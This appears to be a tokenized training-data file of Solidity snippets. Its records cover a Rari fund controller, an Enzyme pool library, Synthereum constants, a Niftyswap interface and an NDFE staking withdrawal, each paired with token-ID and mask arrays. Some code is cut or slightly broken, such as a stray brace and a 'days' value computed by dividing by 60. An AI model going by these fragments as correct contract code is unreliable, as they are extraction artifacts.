index of the pool. * @return Boolean indicating success. */ function withdrawAllFromPoolOnUpgrade(uint8 pool) external onlyOwner { _withdrawAllFromPool(pool); } /** * @dev Withdraws ETH and sends amount to the manager. * @param amount Amount of ETH to withdraw. */ function withdrawToManager(uint256 amount) external onlyManager { // Input validation require(amount > 0, "Withdrawal amount must be greater than 0."); // Check contract balance and withdraw from pools if necessary uint256 contractBalance = address(this).balance; // get ETH balance if (contractBalance < amount) { uint256 poolBalance = getPoolBalance(5); if (poolBalance > 0) { uint256 amountLeft = amount.sub(contractBalance); uint256 poolAmount = amountLeft < poolBalance ? amountLeft : poolBalance; withdrawFromPoolKnowingBalance(5, poolAmount, poolBalance); contractBalance = address(this).balance; } } for (uint256 i = 0; i < _supportedPools.length; i++) { if (contractBalance >= amount) break; uint8 pool = _supportedPools[i]; if (pool == 5) continue; uint256 poolBalance = getPoolBalance(pool); if (poolBalance <= 0) continue; uint256 amountLeft = amount.sub(contractBalance); uint256 poolAmount = amountLeft < poolBalance ? amountLeft : poolBalance; withdrawFromPoolKnowingBalance(pool, poolAmount, poolBalance); contractBalance = contractBalance.add(poolAmount); } require(address(this).balance >= amount, "Too little ETH to transfer."); (bool success, ) = _rariFundManagerContract.call.value(amount)(""); require(success, "Failed to transfer ETH to RariFundManager."); } /** * @dev Emitted when COMP is exchanged to ETH via 0x. */ event CurrencyTrade(address inputErc20Contract, uint256 inputAmount, uint256 outputAmount); /** * @dev Approves tokens (COMP or ROOK) to 0x without spending gas on every deposit. * @param erc20Contract The ERC20 contract address of the token to be approved (must be COMP or ROOK). * @param amount The amount of tokens to be approved. */ function approveTo0x(address erc20Contract, uint256 amount) external fundEnabled onlyRebalancer { require(erc20Contract == COMP_TOKEN || erc20Contract == ROOK_TOKEN, "Supplied token address is not COMP or ROOK."); ZeroExExchangeController.approve(erc20Contract, amount); } /** * @dev Market sell (COMP or ROOK) to 0x exchange orders (reverting if `takerAssetFillAmount` is not filled). * We should be able to make this function external and use calldata for all parameters, but Solidity does not support calldata structs (https://github.com/ethereum/solidity/issues/5479). * @param inputErc20Contract The input ERC20 token contract address (must be COMP or ROOK). * @param orders The limit orders to be filled in ascending order of price. * @param signatures The signatures for the orders. * @param takerAssetFillAmount The amount of the taker asset to sell (excluding taker fees). */ function marketSell0xOrdersFillOrKill(address inputErc20Contract, LibOrder.Order[] memory orders, bytes[] memory signatures, uint256 takerAssetFillAmount) public payable fundEnabled onlyRebalancer { // Exchange COMP/ROOK to ETH uint256 ethBalanceBefore = address(this).balance; uint256[2] memory filledAmounts = ZeroExExchangeController.marketSellOrdersFillOrKill(orders, signatures, takerAssetFillAmount, msg.value); uint256 ethBalanceAfter = address(this).balance; emit CurrencyTrade(inputErc20Contract, filledAmounts[0], filledAmounts[1]); // Unwrap outputted WETH uint256 wethBalance = _weth.balanceOf(address(this)); require(wethBalance > 0, "No WETH outputted."); _weth.withdraw(wethBalance); // Refund unspent ETH protocol fee uint256 refund = ethBalanceAfter.sub(ethBalanceBefore.sub(msg.value)); if (refund > 0) { (bool success, ) = msg.sender.call.value(refund)(""); require(success, "Failed to refund unspent ETH protocol fee."); } } /** * Unwraps all WETH currently owned by the fund controller. */ function unwrapAllWeth() external fundEnabled onlyRebalancer { uint256 wethBalance = _weth.balanceOf(address(this)); require(wethBalance > 0, "No WETH to withdraw."); _weth.withdraw(wethBalance); } /** * @notice Returns the fund controller's contract ETH balance and balance of each pool (checking `_poolsWithFunds` first to save gas). * @dev Ideally, we can add the `view` modifier, but Compound's `getUnderlyingBalance` function (called by `getPoolBalance`) potentially modifies the state. * @return The fund controller ETH contract balance, an array of pool indexes, and an array of corresponding balances for each pool. */ function getRawFundBalances() external returns (uint256, uint8[] memory, uint256[] memory) { uint8[] memory pools = new uint8[](_supportedPools.length); uint256[] memory poolBalances = new uint256[](_supportedPools.length); for (uint256 i = 0; i < _supportedPools.length; i++) { pools[i] = _supportedPools[i]; poolBalances[i] = getPoolBalance(_supportedPools[i]); } return (address(this).balance, pools, poolBalances); } }
* @title EnzymePoolController @dev This library handles deposits to and withdrawals from Enzyme's Rari ETH (technically WETH) pool./
library EnzymePoolController { using SafeMath for uint256; using SafeERC20 for IERC20; address constant private WETH_CONTRACT = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IEtherToken constant private _weth = IEtherToken(WETH_CONTRACT); address constant private IBETH_CONTRACT = 0x67B66C99D3Eb37Fa76Aa3Ed1ff33E8e39F0b9c7A; } function getBalance(address comptroller) external returns (uint256) { ComptrollerLib _comptroller = ComptrollerLib(comptroller); (uint256 price, bool valid) = _comptroller.calcGrossShareValue(true); require(valid, "Enzyme gross share value not valid."); return IERC20(_comptroller.getVaultProxy()).balanceOf(address(this)).mul(price).div(1e18); } function approve(address comptroller, uint256 amount) external { uint256 allowance = _weth.allowance(address(this), comptroller); if (allowance == amount) return; if (amount > 0 && allowance > 0) _weth.approve(comptroller, 0); _weth.approve(comptroller, amount); } function deposit(address comptroller, uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); _weth.deposit.value(amount)(); address[] memory buyers = new address[](1); buyers[0] = address(this); uint256[] memory amounts = new uint256[](1); amounts[0] = amount; uint256[] memory minShares = new uint256[](1); minShares[0] = 0; ComptrollerLib(comptroller).buyShares(buyers, amounts, minShares); } function withdraw(address comptroller, uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); ComptrollerLib _comptroller = ComptrollerLib(comptroller); (uint256 price, bool valid) = _comptroller.calcGrossShareValue(true); require(valid, "Enzyme gross share value not valid."); uint256 shares = amount.mul(1e18).div(price); address[] memory additionalAssets = new address[](0); address[] memory assetsToSkip = new address[](0); _comptroller.redeemSharesDetailed(shares, additionalAssets, assetsToSkip); _weth.withdraw(_weth.balanceOf(address(this))); } function withdrawAll(address comptroller) external { ComptrollerLib(comptroller).redeemShares(); _weth.withdraw(_weth.balanceOf(address(this))); } }
12,084,390
[ 1, 664, 94, 2942, 73, 2864, 2933, 225, 1220, 5313, 7372, 443, 917, 1282, 358, 471, 598, 9446, 1031, 628, 1374, 94, 2942, 73, 1807, 534, 12954, 512, 2455, 261, 28012, 82, 6478, 678, 1584, 44, 13, 2845, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 1374, 94, 2942, 73, 2864, 2933, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 1758, 5381, 3238, 678, 1584, 44, 67, 6067, 2849, 1268, 273, 374, 14626, 3103, 7598, 37, 5520, 70, 3787, 23, 8090, 28, 40, 20, 37, 20, 73, 25, 39, 24, 42, 5324, 73, 1880, 29, 6840, 23, 39, 27, 4313, 39, 71, 22, 31, 203, 203, 565, 10897, 1136, 1345, 5381, 3238, 389, 91, 546, 273, 10897, 1136, 1345, 12, 59, 1584, 44, 67, 6067, 2849, 1268, 1769, 203, 203, 565, 1758, 5381, 3238, 23450, 1584, 44, 67, 6067, 2849, 1268, 273, 374, 92, 9599, 38, 6028, 39, 2733, 40, 23, 41, 70, 6418, 29634, 6669, 37, 69, 23, 2671, 21, 1403, 3707, 41, 28, 73, 5520, 42, 20, 70, 29, 71, 27, 37, 31, 203, 203, 97, 203, 203, 203, 565, 445, 2882, 6112, 12, 2867, 532, 337, 1539, 13, 3903, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 1286, 337, 1539, 5664, 389, 832, 337, 1539, 273, 1286, 337, 1539, 5664, 12, 832, 337, 1539, 1769, 203, 3639, 261, 11890, 5034, 6205, 16, 1426, 923, 13, 273, 389, 832, 337, 1539, 18, 12448, 43, 3984, 9535, 620, 12, 3767, 1769, 203, 3639, 2583, 12, 877, 16, 315, 664, 94, 2942, 73, 314, 3984, 7433, 460, 486, 923, 1199, 1769, 203, 3639, 327, 467, 654, 39, 3462, 24899, 832, 337, 1539, 18, 588, 12003, 3886, 1435, 2934, 12296, 951, 12, 2 ]
./full_match/80001/0x2a6bDdd481Ae14915Dc1e164a8bc5022D76baB7b/sources/deploy/contracts/core/Constants.sol
* @title Stores common interface names used throughout Synthereum./
library SynthereumInterfaces { bytes32 public constant Deployer = 'Deployer'; bytes32 public constant FactoryVersioning = 'FactoryVersioning'; bytes32 public constant TokenFactory = 'TokenFactory'; bytes32 public constant PoolRegistry = 'PoolRegistry'; bytes32 public constant SelfMintingRegistry = 'SelfMintingRegistry'; bytes32 public constant PriceFeed = 'PriceFeed'; bytes32 public constant Manager = 'Manager'; bytes32 public constant CreditLineController = 'CreditLineController'; bytes32 public constant CollateralWhitelist = 'CollateralWhitelist'; bytes32 public constant IdentifierWhitelist = 'IdentifierWhitelist'; bytes32 public constant TrustedForwarder = 'TrustedForwarder'; pragma solidity ^0.8.4; }
9,527,562
[ 1, 13125, 2975, 1560, 1257, 1399, 3059, 659, 16091, 18664, 379, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 16091, 18664, 379, 10273, 288, 203, 225, 1731, 1578, 1071, 5381, 7406, 264, 273, 296, 10015, 264, 13506, 203, 225, 1731, 1578, 1071, 5381, 7822, 1444, 310, 273, 296, 1733, 1444, 310, 13506, 203, 225, 1731, 1578, 1071, 5381, 3155, 1733, 273, 296, 1345, 1733, 13506, 203, 225, 1731, 1578, 1071, 5381, 8828, 4243, 273, 296, 2864, 4243, 13506, 203, 225, 1731, 1578, 1071, 5381, 18954, 49, 474, 310, 4243, 273, 296, 10084, 49, 474, 310, 4243, 13506, 203, 225, 1731, 1578, 1071, 5381, 20137, 8141, 273, 296, 5147, 8141, 13506, 203, 225, 1731, 1578, 1071, 5381, 8558, 273, 296, 1318, 13506, 203, 225, 1731, 1578, 1071, 5381, 30354, 1670, 2933, 273, 296, 16520, 1670, 2933, 13506, 203, 225, 1731, 1578, 1071, 5381, 17596, 2045, 287, 18927, 273, 296, 13535, 2045, 287, 18927, 13506, 203, 225, 1731, 1578, 1071, 5381, 10333, 18927, 273, 296, 3004, 18927, 13506, 203, 225, 1731, 1578, 1071, 5381, 30645, 30839, 273, 296, 16950, 30839, 13506, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; interface INiftyswapExchange20 { /***********************************| | Events | |__________________________________*/ event TokensPurchase( address indexed buyer, address indexed recipient, uint256[] tokensBoughtIds, uint256[] tokensBoughtAmounts, uint256[] currencySoldAmounts, address[] extraFeeRecipients, uint256[] extraFeeAmounts ); event CurrencyPurchase( address indexed buyer, address indexed recipient, uint256[] tokensSoldIds, uint256[] tokensSoldAmounts, uint256[] currencyBoughtAmounts, address[] extraFeeRecipients, uint256[] extraFeeAmounts ); event LiquidityAdded( address indexed provider, uint256[] tokenIds, uint256[] tokenAmounts, uint256[] currencyAmounts ); struct LiquidityRemovedEventObj { uint256 currencyAmount; uint256 soldTokenNumerator; uint256 boughtCurrencyNumerator; uint256 totalSupply; } event LiquidityRemoved( address indexed provider, uint256[] tokenIds, uint256[] tokenAmounts, LiquidityRemovedEventObj[] details ); event RoyaltyChanged( address indexed royaltyRecipient, uint256 royaltyFee ); struct SellTokensObj { address recipient; // Who receives the currency uint256 minCurrency; // Total minimum number of currency expected for all tokens sold address[] extraFeeRecipients; // Array of addresses that will receive extra fee uint256[] extraFeeAmounts; // Array of amounts of currency that will be sent as extra fee uint256 deadline; // Timestamp after which the tx isn't valid anymore } struct AddLiquidityObj { uint256[] maxCurrency; // Maximum number of currency to deposit with tokens uint256 deadline; // Timestamp after which the tx isn't valid anymore } struct RemoveLiquidityObj { uint256[] minCurrency; // Minimum number of currency to withdraw uint256[] minTokens; // Minimum number of tokens to withdraw uint256 deadline; // Timestamp after which the tx isn't valid anymore } /***********************************| | Purchasing Functions | |__________________________________*/ /** * @notice Convert currency tokens to Tokens _id and transfers Tokens to recipient. * @dev User specifies MAXIMUM inputs (_maxCurrency) and EXACT outputs. * @dev Assumes that all trades will be successful, or revert the whole tx * @dev Exceeding currency tokens sent will be refunded to recipient * @dev Sorting IDs is mandatory for efficient way of preventing duplicated IDs (which would lead to exploit) * @param _tokenIds Array of Tokens ID that are bought * @param _tokensBoughtAmounts Amount of Tokens id bought for each corresponding Token id in _tokenIds * @param _maxCurrency Total maximum amount of currency tokens to spend for all Token ids * @param _deadline Timestamp after which this transaction will be reverted * @param _recipient The address that receives output Tokens and refund * @param _extraFeeRecipients Array of addresses that will receive extra fee * @param _extraFeeAmounts Array of amounts of currency that will be sent as extra fee * @return currencySold How much currency was actually sold. */ function buyTokens( uint256[] memory _tokenIds, uint256[] memory _tokensBoughtAmounts, uint256 _maxCurrency, uint256 _deadline, address _recipient, address[] memory _extraFeeRecipients, uint256[] memory _extraFeeAmounts ) external returns (uint256[] memory); /***********************************| | Royalties Functions | |__________________________________*/ /** * @notice Will send the royalties that _royaltyRecipient can claim, if any * @dev Anyone can call this function such that payout could be distributed * regularly instead of being claimed. * @param _royaltyRecipient Address that is able to claim royalties */ function sendRoyalties(address _royaltyRecipient) external; /***********************************| | OnReceive Functions | |__________________________________*/ /** * @notice Handle which method is being called on Token transfer * @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj) * where bytes4 argument is the MethodObj object signature passed as defined * in the `Signatures for onReceive control logic` section above * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _amount The amount of tokens being transferred * @param _data Method signature and corresponding encoded arguments for method to call on *this* contract * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4); /** * @notice Handle which method is being called on transfer * @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj) * where bytes4 argument is the MethodObj object signature passed as defined * in the `Signatures for onReceive control logic` section above * @param _from The address which previously owned the Token * @param _ids An array containing ids of each Token being transferred * @param _amounts An array containing amounts of each Token being transferred * @param _data Method signature and corresponding encoded arguments for method to call on *this* contract * @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)") */ function onERC1155BatchReceived(address, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4); /***********************************| | Getter Functions | |__________________________________*/ /** * @dev Pricing function used for converting between currency token to Tokens. * @param _assetBoughtAmount Amount of Tokens being bought. * @param _assetSoldReserve Amount of currency tokens in exchange reserves. * @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves. * @return Amount of currency tokens to send to Niftyswap. */ function getBuyPrice(uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256); /** * @dev Pricing function used for converting Tokens to currency token (including royalty fee) * @param _tokenId Id ot token being sold * @param _assetBoughtAmount Amount of Tokens being bought. * @param _assetSoldReserve Amount of currency tokens in exchange reserves. * @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves. * @return price Amount of currency tokens to send to Niftyswap. */ function getBuyPriceWithRoyalty(uint256 _tokenId, uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256 price); /** * @dev Pricing function used for converting Tokens to currency token. * @param _assetSoldAmount Amount of Tokens being sold. * @param _assetSoldReserve Amount of Tokens in exchange reserves. * @param _assetBoughtReserve Amount of currency tokens in exchange reserves. * @return Amount of currency tokens to receive from Niftyswap. */ function getSellPrice(uint256 _assetSoldAmount,uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256); /** * @dev Pricing function used for converting Tokens to currency token (including royalty fee) * @param _tokenId Id ot token being sold * @param _assetSoldAmount Amount of Tokens being sold. * @param _assetSoldReserve Amount of Tokens in exchange reserves. * @param _assetBoughtReserve Amount of currency tokens in exchange reserves. * @return price Amount of currency tokens to receive from Niftyswap. */ function getSellPriceWithRoyalty(uint256 _tokenId, uint256 _assetSoldAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256 price); /** * @notice Get amount of currency in reserve for each Token _id in _ids * @param _ids Array of ID sto query currency reserve of * @return amount of currency in reserve for each Token _id */ function getCurrencyReserves(uint256[] calldata _ids) external view returns (uint256[] memory); /** * @notice Return price for `currency => Token _id` trades with an exact token amount. * @param _ids Array of ID of tokens bought. * @param _tokensBought Amount of Tokens bought. * @return Amount of currency needed to buy Tokens in _ids for amounts in _tokensBought */ function getPrice_currencyToToken(uint256[] calldata _ids, uint256[] calldata _tokensBought) external view returns (uint256[] memory); /** * @notice Return price for `Token _id => currency` trades with an exact token amount. * @param _ids Array of IDs token sold. * @param _tokensSold Array of amount of each Token sold. * @return Amount of currency that can be bought for Tokens in _ids for amounts in _tokensSold */ function getPrice_tokenToCurrency(uint256[] calldata _ids, uint256[] calldata _tokensSold) external view returns (uint256[] memory); /** * @notice Get total supply of liquidity tokens * @param _ids ID of the Tokens * @return The total supply of each liquidity token id provided in _ids */ function getTotalSupply(uint256[] calldata _ids) external view returns (uint256[] memory); /** * @return Address of Token that is sold on this exchange. */ function getTokenAddress() external view returns (address); /** * @return LP fee per 1000 units */ function getLPFee() external view returns (uint256); /** * @return Address of the currency contract that is used as currency */ function getCurrencyInfo() external view returns (address); /** * @return Address of factory that created this exchange. */ function getFactoryAddress() external view returns (address); /** * @return Global royalty fee % if not supporting ERC-2981 */ function getGlobalRoyaltyFee() external view returns (uint256); /** * @return Global royalty recipient if token not supporting ERC-2981 */ function getGlobalRoyaltyRecipient() external view returns (address); /** * @return Get amount of currency in royalty an address can claim * @param _royaltyRecipient Address to check the claimable royalties */ function getRoyalties(address _royaltyRecipient) external view returns (uint256); function getRoyaltiesNumerator(address _royaltyRecipient) external view returns (uint256); }
**********************************|
struct LiquidityRemovedEventObj { uint256 currencyAmount; uint256 soldTokenNumerator; uint256 boughtCurrencyNumerator; uint256 totalSupply; } event LiquidityRemoved( address indexed provider, uint256[] tokenIds, uint256[] tokenAmounts, LiquidityRemovedEventObj[] details ); event RoyaltyChanged( address indexed royaltyRecipient, uint256 royaltyFee );
7,300,313
[ 1, 96, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 1958, 511, 18988, 24237, 10026, 1133, 2675, 288, 203, 565, 2254, 5034, 5462, 6275, 31, 203, 565, 2254, 5034, 272, 1673, 1345, 2578, 7385, 31, 203, 565, 2254, 5034, 800, 9540, 7623, 2578, 7385, 31, 203, 565, 2254, 5034, 2078, 3088, 1283, 31, 203, 225, 289, 203, 203, 225, 871, 511, 18988, 24237, 10026, 12, 203, 565, 1758, 8808, 2893, 16, 203, 565, 2254, 5034, 8526, 1147, 2673, 16, 203, 565, 2254, 5034, 8526, 1147, 6275, 87, 16, 203, 565, 511, 18988, 24237, 10026, 1133, 2675, 8526, 3189, 203, 225, 11272, 203, 203, 225, 871, 534, 13372, 15006, 5033, 12, 203, 565, 1758, 8808, 721, 93, 15006, 18241, 16, 203, 565, 2254, 5034, 721, 93, 15006, 14667, 203, 225, 11272, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x1a5e930A5b49439F143AF6F27af609dc9d062b68/sources/NDFE.sol
* @dev user ROI and stake withdrawal @param _investID investment ID/
function withdraw(uint _investID)public returns(bool){ require(_investID > 0 && _investID <= users[msg.sender].investID, "invalid investID"); require(!users[msg.sender].investments[_investID].completed, "investment completed"); require(users[msg.sender].investments[_investID].unstake_time <= now, "stake didnt reach minimum stake time"); uint _days = (users[msg.sender].investments[_investID].unstake_time - users[msg.sender].investments[_investID].stake_time)/60; uint _payout = (users[msg.sender].investments[_investID].invest*ROI/100 ether)*_days; uint total_payout = users[msg.sender].investments[_investID].invest+_payout; require(_NGNS.transfer(msg.sender, total_payout),"transfer failed"); users[msg.sender].investments[_investID].ROIEarned += _payout; users[msg.sender].totalEarnings += _payout; users[msg.sender].investments[_investID].completed = true; emit withdrawEvent( msg.sender, _investID, _payout, users[msg.sender].investments[_investID].invest); }
5,321,512
[ 1, 1355, 6525, 45, 471, 384, 911, 598, 9446, 287, 225, 389, 5768, 395, 734, 225, 2198, 395, 475, 1599, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 389, 5768, 395, 734, 13, 482, 1135, 12, 6430, 15329, 203, 3639, 2583, 24899, 5768, 395, 734, 405, 374, 597, 389, 5768, 395, 734, 1648, 3677, 63, 3576, 18, 15330, 8009, 5768, 395, 734, 16, 315, 5387, 2198, 395, 734, 8863, 203, 3639, 2583, 12, 5, 5577, 63, 3576, 18, 15330, 8009, 5768, 395, 1346, 63, 67, 5768, 395, 734, 8009, 13615, 16, 315, 5768, 395, 475, 5951, 8863, 203, 3639, 2583, 12, 5577, 63, 3576, 18, 15330, 8009, 5768, 395, 1346, 63, 67, 5768, 395, 734, 8009, 23412, 911, 67, 957, 1648, 2037, 16, 315, 334, 911, 5061, 496, 9287, 5224, 384, 911, 813, 8863, 203, 203, 3639, 2254, 389, 9810, 273, 261, 5577, 63, 3576, 18, 15330, 8009, 5768, 395, 1346, 63, 67, 5768, 395, 734, 8009, 23412, 911, 67, 957, 300, 3677, 63, 3576, 18, 15330, 8009, 5768, 395, 1346, 63, 67, 5768, 395, 734, 8009, 334, 911, 67, 957, 13176, 4848, 31, 203, 540, 203, 3639, 2254, 389, 84, 2012, 273, 261, 5577, 63, 3576, 18, 15330, 8009, 5768, 395, 1346, 63, 67, 5768, 395, 734, 8009, 5768, 395, 14, 1457, 45, 19, 6625, 225, 2437, 17653, 67, 9810, 31, 203, 3639, 2254, 2078, 67, 84, 2012, 273, 3677, 63, 3576, 18, 15330, 8009, 5768, 395, 1346, 63, 67, 5768, 395, 734, 8009, 5768, 395, 15, 67, 84, 2012, 31, 203, 540, 203, 3639, 2583, 24899, 4960, 3156, 18, 13866, 12, 3576, 18, 15330, 16, 2078, 67, 84, 2012, 3631, 6, 13866, 